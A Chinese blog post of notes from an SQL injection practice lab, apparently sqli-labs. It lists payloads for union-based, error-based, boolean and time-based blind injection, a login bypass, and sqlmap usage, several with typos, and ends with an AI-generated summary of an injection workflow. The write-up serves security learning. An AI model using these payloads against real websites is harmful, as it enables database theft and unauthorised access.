sql注入靶场练习

pass.1
在这里插入图片描述
发现id注入点,尝试联合注入
id=1’ union select 1,database().3 --+或者
id=1’ union select 1,database().3#’
返回
Welcome Dhakkan
Your Login name:Dumb
Your Password:Dumb
跑sqlmap
得知数据库账户密码都为root
pass.2
注入与1相同
pass.3
括号闭合
注意
?id=1’) union select 1,database().3 --+
pass.4
双引号字符型注入
?id=1") union select ,1database(),3 --+
但是也是对的
?id=1’) union select ,1database(),3 --+
在这里插入图片描述pass.5
在这里插入图片描述
无报错,有返回,无结果。考虑布尔型盲注、报错型注入、时间延迟型盲注
?id=1’ and sleep(10) --+
在这里插入图片描述
时间线判断,时间延迟盲注
跑sqlmap获取数据库名
在这里插入图片描述
pass.6
时间盲注依然有延迟返回,虽然没有结果
在这里插入图片描述
继续跑sqlmap
在这里插入图片描述
拿到当前数据库账户密码
pass.7
string型注入,需要))才能进行闭合
在这里插入图片描述
丢sqlmap

pass.8
布尔型单引号盲注
id=1’ and if(substr(database(),1,1)=‘s’,sleep(5),sleep(10)) --+
延迟判断s是正确的数据库开头.
另外一种方法 采用asciall码进行判断
?id=1’ and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+

pass.9
基于时间的单引号盲注
?id=1’ and if(length(database()=8),sleep(5),sleep(10)) --+
有明显延迟
手工继续探测下去取得数据长度,再去每一位字符比较,可得出当前数据库名称
丢sqlmap跑
在这里插入图片描述

pass.10
基于时间的双引号盲注
?id=1"%20and%20if(length(database())=9,sleep(1),sleep(10))%20–+
跟9一致。同样的方法

pass.11
是个登录框
admin’ or 1=1#’
123456
注入成功
url没变,判定是post提交
在这里插入图片描述
可用sqlmap三种跑post请求方案
1.bp导出包,sqlmap -r 加载文件跑包
2.-forms sqlmap自动判断表单
3.-n 指定post参数

pass.12
还是那个登录框
尝试admin’ or 1=1#‘报错
admin" or 1=1#’
admin") or 1=1#‘闭合成功
在这里插入图片描述
pass.13
经过多次尝试,发现没有回显是因为注入成功了
使用’)发现可以合并,但是报错会有回显
报错注入
admin’) and extractvalue(1,concat(0x7e,(select database()))) #’
在这里插入图片描述
pass.14
POST单引号变形双注入

pass.15
基于bool型/时间延迟单引号POST型盲注
1’ or 1=1#‘注入成功无回显
admin’ and sleep(10)#'判断时间注入成功

pass.16
基于bool型/时间延迟的双引号POST型盲注
根据题目是使用“)闭合
实际测试
admin") and sleep(10)#并没有延迟或返回结果

pass.17
基于错误的更新查询POST注入
在这里插入图片描述
修改账户密码的地方,猜测是update更新查询。
网上查阅了一下,这道题的源码是uname被覆盖,而passwd则并没有,passwd的注入。
如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。magic_quotes_gpc开启时用于在预定义字符(单引号、双引号、斜杠、NULL)前加上反斜杠,

5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中

pass.18-20
全部为http头文件注入

打开发现了本地ip的回显
盲目猜测是http请求头的注入,使用bp抓包
进行对host,user-agent多次尝试失败
网上搜索相关题目
是对user-agent: ‘ databases();的注入
尝试依然失败

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab靶场SQL注入流程可以按照以下步骤进行: 1. 首先,我们需要找到一个存在SQL注入漏洞的目标网站。可以使用工具或手动查找目标网站。 2. 一旦找到目标网站,我们可以使用不同的注入技术进行测试。在引用\[1\]和\[2\]中提供的案例中,可以尝试使用报错注入和联合查询注入。 3. 对于报错注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以触发错误并获取数据库信息。例如,在引用\[1\]中提供的案例中,我们可以尝试使用updatexml函数来获取数据库名称。 4. 对于联合查询注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以执行额外的查询并获取数据库信息。例如,在引用\[2\]中提供的案例中,我们可以尝试使用UNION SELECT语句来获取额外的数据列。 5. 如果我们成功地发现了SQL注入漏洞并获取了数据库信息,我们可以使用工具如sqlmap来自动化注入过程,以获取更多的数据库信息。 6. 最后,我们可以根据获取的数据库信息来进一步探索和利用漏洞,以达到我们的渗透测试目标。 请注意,进行SQL注入测试时,应遵循合法和道德的原则,并获得合法的授权。 #### 引用[.reference_title] - *1* *2* [PentesterLab靶场sql注入流程](https://blog.csdn.net/m0_37570494/article/details/122727777)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [一次简单的SQL注入靶场练习](https://blog.csdn.net/lza20001103/article/details/125958035)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值